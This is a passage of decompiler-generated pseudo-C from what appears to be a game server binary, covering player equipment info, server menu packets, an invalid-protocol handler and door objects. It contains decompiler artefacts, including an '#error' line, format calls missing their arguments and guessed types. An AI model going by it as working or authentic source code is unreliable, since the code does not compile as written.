int __thiscall ShineObjectClass::ShineMobileObject::so_mobile_DeadCheck(int this, int cause) { int result; // eax@1 result = cause; *(_DWORD *)(this + 126) = cause; return result; } //----- (004F7480) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_mobile_MoveReserve(int this, int goal, int speed, MoveManager::MMState state, int md) { int v5; // eax@1 signed int v6; // edi@2 signed int v7; // esi@2 v5 = *(_DWORD *)(this + 78); if ( md ) { v6 = *(_DWORD *)(v5 + 4) - *(_DWORD *)(goal + 4); v7 = *(_DWORD *)v5 - *(_DWORD *)goal; while ( v7 > 1024 || v7 < -1024 || v6 > 1024 || v6 < -1024 ) { v7 /= 2; v6 /= 2; } } else { v6 = *(_DWORD *)(goal + 4) - *(_DWORD *)(v5 + 4); v7 = *(_DWORD *)goal - *(_DWORD *)v5; while ( v7 > 1024 || v7 < -1024 || v6 > 1024 || v6 < -1024 ) { v7 /= 2; v6 /= 2; } } **(_BYTE **)(this + 82) = ddt.ddt_Table[1024][v6 + 2049 * v7 + 1024].direct; MoveManager::mm_MoveStart((MoveManager *)(this + 140), (SHINE_XY_TYPE *)goal, speed, state); } //----- (004F7550) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_mobile_MoveHalt(int this) { MoveManager::mm_Halt((MoveManager *)(this + 140)); } //----- (004F7560) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::_ShineMobileObject(int this) { int v1; // esi@1 v1 = this; *(_DWORD *)this = &ShineObjectClass::ShineMobileObject::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(this + 4008)); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(v1 + 3736)); AbnormalStateContainer::AbstateListInObject::_AbstateListInObject((void *)(v1 + 204)); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(v1 + 140)); ShineObjectClass::ShineObject::_ShineObject(v1); } // 5CF008: using guessed type int (*ShineObjectClass__ShineMobileObject___vftable_)(); //----- (004F75F0) -------------------------------------------------------- void __thiscall MobTargetPlayerCaptivate::_MobTargetPlayerCaptivate(MobTargetPlayerCaptivate *this) { MobTargetAggresive *v1; // esi@1 v1 = (MobTargetAggresive *)this; SpyNet::IntelligenceOffice4Mob::_IntelligenceOffice4Mob(&this->PlayerTarget.mts_EnemyAnalyzer); MobTargetAggresive::_MobTargetAggresive(v1); } //----- (004F7640) -------------------------------------------------------- void *__thiscall MobTargetPlayerCaptivate::_vector_deleting_destructor_(MobTargetPlayerCaptivate *this, unsigned int a2) { void *v2; // esi@1 v2 = this; MobTargetPlayerCaptivate::_MobTargetPlayerCaptivate(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004F7660) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_briefequipset(void *this) { void *v1; // edi@1 int v2; // ebp@1 int v3; // ST58_4@1 int v4; // ebx@1 int v5; // ST5C_4@1 int v6; // ST60_4@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_briefequipset"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_briefequipset"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))((char *)v1 + 32168, 10); v3 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))((char *)v1 + 32168, 12); v4 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))((char *)v1 + 32168, 7); v5 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))((char *)v1 + 32168, 19); v6 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))((char *)v1 + 32168, 21); *(_WORD *)(*(_DWORD *)((char *)v1 + 32010) + 33) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))( (char *)v1 + 32168, 1) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32010) + 35) = *(_WORD *)(v3 + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32010) + 37) = *(_WORD *)(v4 + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32010) + 39) = *(_WORD *)(v2 + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32010) + 41) = *(_WORD *)(v5 + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32010) + 43) = *(_WORD *)(v6 + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32010) + 45) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))( (char *)v1 + 32168, 22) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32010) + 47) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))( (char *)v1 + 32168, 20) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32010) + 49) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))( (char *)v1 + 32168, 8) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32010) + 51) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))( (char *)v1 + 32168, 2) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32010) + 53) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))( (char *)v1 + 32168, 24) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32010) + 55) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))( (char *)v1 + 32168, 25) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32010) + 57) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))( (char *)v1 + 32168, 26) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32010) + 59) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))( (char *)v1 + 32168, 27) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32010) + 61) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))( (char *)v1 + 32168, 11) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32010) + 63) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))( (char *)v1 + 32168, 13) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32010) + 65) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))( (char *)v1 + 32168, 9) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32010) + 67) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))( (char *)v1 + 32168, 17) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32010) + 69) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))( (char *)v1 + 32168, 18) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32010) + 71) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))( (char *)v1 + 32168, 28) + 8); *(_BYTE *)(*(_DWORD *)((char *)v1 + 32010) + 73) ^= ((*(int (__stdcall **)(_DWORD))(**(_DWORD **)(v2 + 112) + 44))(v2) ^ *(_BYTE *)(*(_DWORD *)((char *)v1 + 32010) + 73)) & 0xF; *(_BYTE *)(*(_DWORD *)((char *)v1 + 32010) + 73) = 16 * (*(int (__stdcall **)(_DWORD))(**(_DWORD **)(v3 + 112) + 44))(v3) | *(_BYTE *)(*(_DWORD *)((char *)v1 + 32010) + 73) & 0xF; *(_BYTE *)(*(_DWORD *)((char *)v1 + 32010) + 74) ^= ((*(int (__stdcall **)(_DWORD))(**(_DWORD **)(v4 + 112) + 44))(v4) ^ *(_BYTE *)(*(_DWORD *)((char *)v1 + 32010) + 74)) & 0xF; *(_BYTE *)(*(_DWORD *)((char *)v1 + 32010) + 74) = *(_BYTE *)(*(_DWORD *)((char *)v1 + 32010) + 74) & 0xF | 16 * (*(int (__thiscall **)(_DWORD, _DWORD))(**(_DWORD **)(v4 + 112) + 44))(*(_DWORD *)(v4 + 112), v5); *(_BYTE *)(*(_DWORD *)((char *)v1 + 32010) + 75) ^= ((*(int (__stdcall **)(_DWORD))(**(_DWORD **)(v6 + 112) + 44))(v6) ^ *(_BYTE *)(*(_DWORD *)((char *)v1 + 32010) + 75)) & 0xF; *((_DWORD *)v1 + 22242) = 7; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_briefequipset"); } //----- (004F7980) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_BriefEquipSetRiding(void *this) { void *v1; // edi@1 int v2; // ebp@1 int v3; // ST58_4@1 int v4; // ebx@1 int v5; // ST5C_4@1 int v6; // ST60_4@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_BriefEquipSetRiding"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_BriefEquipSetRiding"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))((char *)v1 + 32168, 10); v3 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))((char *)v1 + 32168, 12); v4 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))((char *)v1 + 32168, 7); v5 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))((char *)v1 + 32168, 19); v6 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))((char *)v1 + 32168, 21); *(_WORD *)(*(_DWORD *)((char *)v1 + 32010) + 33) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))( (char *)v1 + 32168, 1) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32010) + 35) = *(_WORD *)(v3 + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32010) + 37) = *(_WORD *)(v4 + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32010) + 39) = *(_WORD *)(v2 + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32010) + 41) = *(_WORD *)(v5 + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32010) + 43) = *(_WORD *)(v6 + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32010) + 45) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))( (char *)v1 + 32168, 22) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32010) + 47) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))( (char *)v1 + 32168, 20) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32010) + 49) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))( (char *)v1 + 32168, 8) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32010) + 51) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))( (char *)v1 + 32168, 2) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32010) + 53) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))( (char *)v1 + 32168, 24) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32010) + 55) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))( (char *)v1 + 32168, 25) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32010) + 57) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))( (char *)v1 + 32168, 26) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32010) + 59) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))( (char *)v1 + 32168, 27) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32010) + 61) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))( (char *)v1 + 32168, 11) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32010) + 63) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))( (char *)v1 + 32168, 13) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32010) + 65) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))( (char *)v1 + 32168, 9) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32010) + 67) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))( (char *)v1 + 32168, 17) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32010) + 69) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))( (char *)v1 + 32168, 18) + 8); *(_WORD *)(*(_DWORD *)((char *)v1 + 32010) + 71) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))( (char *)v1 + 32168, 28) + 8); *(_BYTE *)(*(_DWORD *)((char *)v1 + 32010) + 73) ^= ((*(int (__stdcall **)(_DWORD))(**(_DWORD **)(v2 + 112) + 44))(v2) ^ *(_BYTE *)(*(_DWORD *)((char *)v1 + 32010) + 73)) & 0xF; *(_BYTE *)(*(_DWORD *)((char *)v1 + 32010) + 73) = 16 * (*(int (__stdcall **)(_DWORD))(**(_DWORD **)(v3 + 112) + 44))(v3) | *(_BYTE *)(*(_DWORD *)((char *)v1 + 32010) + 73) & 0xF; *(_BYTE *)(*(_DWORD *)((char *)v1 + 32010) + 74) ^= ((*(int (__stdcall **)(_DWORD))(**(_DWORD **)(v4 + 112) + 44))(v4) ^ *(_BYTE *)(*(_DWORD *)((char *)v1 + 32010) + 74)) & 0xF; *(_BYTE *)(*(_DWORD *)((char *)v1 + 32010) + 74) = *(_BYTE *)(*(_DWORD *)((char *)v1 + 32010) + 74) & 0xF | 16 * (*(int (__thiscall **)(_DWORD, _DWORD))(**(_DWORD **)(v4 + 112) + 44))(*(_DWORD *)(v4 + 112), v5); *(_BYTE *)(*(_DWORD *)((char *)v1 + 32010) + 75) ^= ((*(int (__stdcall **)(_DWORD))(**(_DWORD **)(v6 + 112) + 44))(v6) ^ *(_BYTE *)(*(_DWORD *)((char *)v1 + 32010) + 75)) & 0xF; *((_DWORD *)v1 + 22242) = 7; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_BriefEquipSetRiding"); } //----- (004F7CA0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_BriefEquipSetBackup(void *this) { void *v1; // edi@1 int v2; // ebp@1 int v3; // ST58_4@1 int v4; // ebx@1 int v5; // ST5C_4@1 int v6; // ST60_4@1 int v7; // edx@1 int v8; // eax@1 int v9; // edx@1 int v10; // eax@1 int v11; // edx@1 int v12; // eax@1 int v13; // edx@1 int v14; // eax@1 int v15; // edx@1 int v16; // eax@1 int v17; // edx@1 int v18; // eax@1 int v19; // edx@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_BriefEquipSetBackup"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_BriefEquipSetBackup"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (*(int (__thiscall **)(char *, signed int))*((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))( (char *)v1 + 32168, 10); v3 = (*(int (__thiscall **)(char *, signed int))*((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))( (char *)v1 + 32168, 12); v4 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))((char *)v1 + 32168, 7); v5 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))((char *)v1 + 32168, 19); v6 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))((char *)v1 + 32168, 21); *((_WORD *)v1 + 44514) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))((char *)v1 + 32168, 1) + 8); *((_WORD *)v1 + 44515) = *(_WORD *)(v3 + 8); *((_WORD *)v1 + 44516) = *(_WORD *)(v4 + 8); *((_WORD *)v1 + 44517) = *(_WORD *)(v2 + 8); v7 = *((_DWORD *)v1 + 8042); *((_WORD *)v1 + 44518) = *(_WORD *)(v5 + 8); *((_WORD *)v1 + 44519) = *(_WORD *)(v6 + 8); *((_WORD *)v1 + 44520) = *(_WORD *)((*(int (__thiscall **)(char *, signed int))v7)((char *)v1 + 32168, 22) + 8); v8 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))((char *)v1 + 32168, 20); v9 = *((_DWORD *)v1 + 8042); *((_WORD *)v1 + 44521) = *(_WORD *)(v8 + 8); *((_WORD *)v1 + 44522) = *(_WORD *)((*(int (__thiscall **)(char *, signed int))v9)((char *)v1 + 32168, 8) + 8); v10 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))((char *)v1 + 32168, 2); v11 = *((_DWORD *)v1 + 8042); *((_WORD *)v1 + 44523) = *(_WORD *)(v10 + 8); *((_WORD *)v1 + 44524) = *(_WORD *)((*(int (__thiscall **)(char *, signed int))v11)((char *)v1 + 32168, 24) + 8); v12 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))((char *)v1 + 32168, 25); v13 = *((_DWORD *)v1 + 8042); *((_WORD *)v1 + 44525) = *(_WORD *)(v12 + 8); *((_WORD *)v1 + 44526) = *(_WORD *)((*(int (__thiscall **)(char *, signed int))v13)((char *)v1 + 32168, 26) + 8); v14 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))((char *)v1 + 32168, 27); v15 = *((_DWORD *)v1 + 8042); *((_WORD *)v1 + 44527) = *(_WORD *)(v14 + 8); *((_WORD *)v1 + 44528) = *(_WORD *)((*(int (__thiscall **)(char *, signed int))v15)((char *)v1 + 32168, 11) + 8); v16 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))((char *)v1 + 32168, 13); v17 = *((_DWORD *)v1 + 8042); *((_WORD *)v1 + 44529) = *(_WORD *)(v16 + 8); *((_WORD *)v1 + 44530) = *(_WORD *)((*(int (__thiscall **)(char *, signed int))v17)((char *)v1 + 32168, 9) + 8); v18 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))((char *)v1 + 32168, 17); v19 = *((_DWORD *)v1 + 8042); *((_WORD *)v1 + 44531) = *(_WORD *)(v18 + 8); *((_WORD *)v1 + 44532) = *(_WORD *)((*(int (__thiscall **)(char *, signed int))v19)((char *)v1 + 32168, 18) + 8); *((_WORD *)v1 + 44533) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8042))((char *)v1 + 32168, 28) + 8); *((_BYTE *)v1 + 89068) ^= ((*(int (__stdcall **)(int))(**(_DWORD **)(v2 + 112) + 44))(v2) ^ *((_BYTE *)v1 + 89068)) & 0xF; *((_BYTE *)v1 + 89068) = 16 * (*(int (__stdcall **)(int))(**(_DWORD **)(v3 + 112) + 44))(v3) | *((_BYTE *)v1 + 89068) & 0xF; *((_BYTE *)v1 + 89069) ^= ((*(int (__stdcall **)(int))(**(_DWORD **)(v4 + 112) + 44))(v4) ^ *((_BYTE *)v1 + 89069)) & 0xF; *((_BYTE *)v1 + 89069) = *((_BYTE *)v1 + 89069) & 0xF | 16 * (*(int (__thiscall **)(_DWORD, int))(**(_DWORD **)(v4 + 112) + 44))( *(_DWORD *)(v4 + 112), v5); *((_BYTE *)v1 + 89070) ^= ((*(int (__stdcall **)(int))(**(_DWORD **)(v6 + 112) + 44))(v6) ^ *((_BYTE *)v1 + 89070)) & 0xF; *((_DWORD *)v1 + 22242) = 7; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_BriefEquipSetBackup"); } //----- (004F7F90) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShinePlayer::sp_ServerMenuTitle(void *this, const char *title) { void *v2; // esi@1 char *v3; // ebp@1 char *v4; // edi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ServerMenuTitle"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ServerMenuTitle"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; v4 = gpp.pp_Buffer + 2; strncpy(gpp.pp_Buffer + 2, title, 0x80u); *(_WORD *)v3 = 15361; strncpy(v4, title, 0x80u); v4[141] = 0; ServerMenuActor::sma_Reset((ServerMenuActor *)((char *)v2 + 68324)); *((_BYTE *)v2 + 23281) &= 0xFDu; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ServerMenuTitle"); return v2; } //----- (004F8070) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShinePlayer::sp_ServerMenuItem(void *this, void (__thiscall *func)(ServerMenuFuncter *, #434 *, ServerMenuArgument *), const char *str, ServerMenuArgument *arg) { void *v4; // edi@1 char v5; // cl@1 char *v6; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ServerMenuItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ServerMenuItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer[143]; v6 = gpp.pp_Buffer + 2; if ( (unsigned __int8)v5 < 0xAu ) { v6[33 * (unsigned __int8)v5 + 142] = v5; strncpy(&v6[33 * (unsigned __int8)v6[141] + 143], str, 0x20u); ServerMenuActor::sma_Regist((ServerMenuActor *)((char *)v4 + 68324), func, arg); ++v6[141]; } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_ServerMenuItem : Too many items", (unsigned __int8)v5); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ServerMenuItem"); return v4; } //----- (004F8180) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShinePlayer::sp_ServerMenuOpen(void *this, char priority, __int16 npcHandle, int npcPosition, __int16 limitRange) { void *v5; // esi@1 char *v6; // eax@1 int v7; // ecx@1 int v8; // edi@3 int v9; // edi@3 int v10; // eax@5 int v11; // eax@6 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ServerMenuOpen"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ServerMenuOpen"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = gpp.pp_Buffer + 2; *(_WORD *)(gpp.pp_Buffer + 131) = npcHandle; v7 = npcPosition; v6[128] = priority; if ( !npcPosition ) v7 = *(_DWORD *)((char *)v5 + 78); v8 = 33 * (unsigned __int8)v6[141]; *(_DWORD *)(v6 + 131) = *(_DWORD *)v7; *(_DWORD *)(v6 + 135) = *(_DWORD *)(v7 + 4); v9 = v8 + 144; *(_WORD *)(v6 + 139) = limitRange; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v9) ) { v10 = (*(int (__thiscall **)(void *))(*(_DWORD *)v5 + 764))(v5); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v10 + 12))(v10, v5, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_ServerMenuOpen : Packet Too Long", v9); } v11 = *(_DWORD *)((char *)v5 + 78); *((_DWORD *)v5 + 17081) = *(_DWORD *)v11; *((_DWORD *)v5 + 17082) = *(_DWORD *)(v11 + 4); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ServerMenuOpen"); return v5; } //----- (004F82C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_DummyFunction(void *this, int netcmd, int len, __int16 handle) { void *v4; // ebx@1 DebugLogging *v5; // esi@5 _iobuf *v6; // eax@7 char buf[64]; // [sp+4h] [bp-50h]@1 unsigned int v8; // [sp+44h] [bp-10h]@9 int v9; // [sp+50h] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_DummyFunction"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_DummyFunction"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v9 = 0; sprintf(buf, "%d/%d"); AssertClass::ac_AssertFail(&shineassert, "Invalid protocol", buf); if ( DebugLogging::dl_ActivAll ) { if ( unk_124E311C ) { DebugLogging::dl_FilePoint(&InvalidProtocolLog); if ( unk_124E2F98 ) fprintf(unk_124E2F98, "%d"); } } v5 = DebugLogging::operator<<(&InvalidProtocolLog, (char *)&stru_5AB5B0); if ( DebugLogging::dl_ActivAll ) { if ( v5->dl_Activ ) { DebugLogging::dl_FilePoint(v5); v6 = v5->dl_FilePointer; if ( v6 ) fprintf(v6, "%d"); } } DebugLogging::operator<<(v5, &deb_LF); (*(void (__thiscall **)(void *, signed int, _DWORD, _DWORD))(*(_DWORD *)v4 + 1464))(v4, 1670, 0, 0); --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_DummyFunction"); __security_check_cookie(v8); } // 60194C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (004F8450) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineDoor::ShineDoor(ShineObjectClass::ShineDoor *this) { ShineObjectClass::ShineDoor *v1; // esi@1 PROTO_NC_BRIEFINFO_BUILDDOOR_CMD *v2; // eax@1 v1 = this; ShineObjectClass::ShineMobileObject::ShineMobileObject(this); *(_DWORD *)&v1->gap0[0] = &ShineObjectClass::ShineDoor::_vftable_; BriefInformationDoor::BriefInformationDoor(&v1->sd_DoorBriefInfo); *(_DWORD *)&v1->sd_Locate.currentmap.n3_name[8] = 0; *(_DWORD *)&v1->sd_Locate.currentmap.n3_name[4] = 0; *(_DWORD *)&v1->sd_Locate.currentmap.n3_name[0] = 0; v2 = v1->sd_DoorBriefInfo.bid_BriefInfo; *(_DWORD *)&v1->gap0[78] = (char *)v2 + 4; *(_DWORD *)&v1->gap0[82] = (char *)v2 + 12; } // 5CFE20: using guessed type int (*ShineObjectClass__ShineDoor___vftable_)(); //----- (004F84D0) -------------------------------------------------------- ShineRTTI *__thiscall ShineObjectClass::ShineDoor::GetRTTI(ShineObjectClass::ShineDoor *this) { return &ShineObjectClass::ShineDoor::m_RTTI; } //----- (004F84E0) -------------------------------------------------------- #error "4F84E0: undefined or illegal type '#325' (funcsize=16)" //----- (004F8510) -------------------------------------------------------- PROTO_NC_CHAR_BASE_CMD::LoginLocation *__thiscall ShineObjectClass::ShineDoor::so_LoginLocation(ShineObjectClass::ShineDoor *this) { return &this->sd_Locate; } //----- (004F8520) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineDoor::so_RemakeHandle(ShineObjectClass::ShineDoor *this, unsigned __int16 handle) { ShineObjectClass::ShineDoor *sohu; // [sp+0h] [bp-4h]@1 sohu = this; MoveManager::MoveManager((DiceTaiSai *)&sohu); LOWORD(sohu) = 32 * handle | 0xF; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&sohu); return 32 * handle | 0xF; } //----- (004F8550) -------------------------------------------------------- char *__thiscall ShineObjectClass::ShineDoor::so_mobile_GetIdxName(ShineObjectClass::ShineDoor *this) { return this->sd_MobDataBox->data->InxName; } //----- (004F8560) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineDoor::so_FillBriefInformation(ShineObjectClass::ShineDoor *this, void *array) { PROTO_NC_BRIEFINFO_BUILDDOOR_CMD::operator_((int)array, (int)this->sd_DoorBriefInfo.bid_BriefInfo); } //----- (004F8580) -------------------------------------------------------- int __thiscall PROTO_NC_BRIEFINFO_BUILDDOOR_CMD::operator_(int this, int a2) { int result; // eax@1 result = this; *(_WORD *)this = *(_WORD *)a2; *(_WORD *)(this + 2) = *(_WORD *)(a2 + 2); *(_DWORD *)(this + 4) = *(_DWORD *)(a2 + 4); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); *(_BYTE *)(this + 12) = *(_BYTE *)(a2 + 12); *(_BYTE *)(this + 13) = *(_BYTE *)(a2 + 13); *(_DWORD *)(this + 14) = *(_DWORD *)(a2 + 14); *(_DWORD *)(this + 18) = *(_DWORD *)(a2 + 18); *(_DWORD *)(this + 22) = *(_DWORD *)(a2 + 22); *(_DWORD *)(this + 26) = *(_DWORD *)(a2 + 26); *(_DWORD *)(this + 30) = *(_DWORD *)(a2 + 30); *(_DWORD *)(this + 34) = 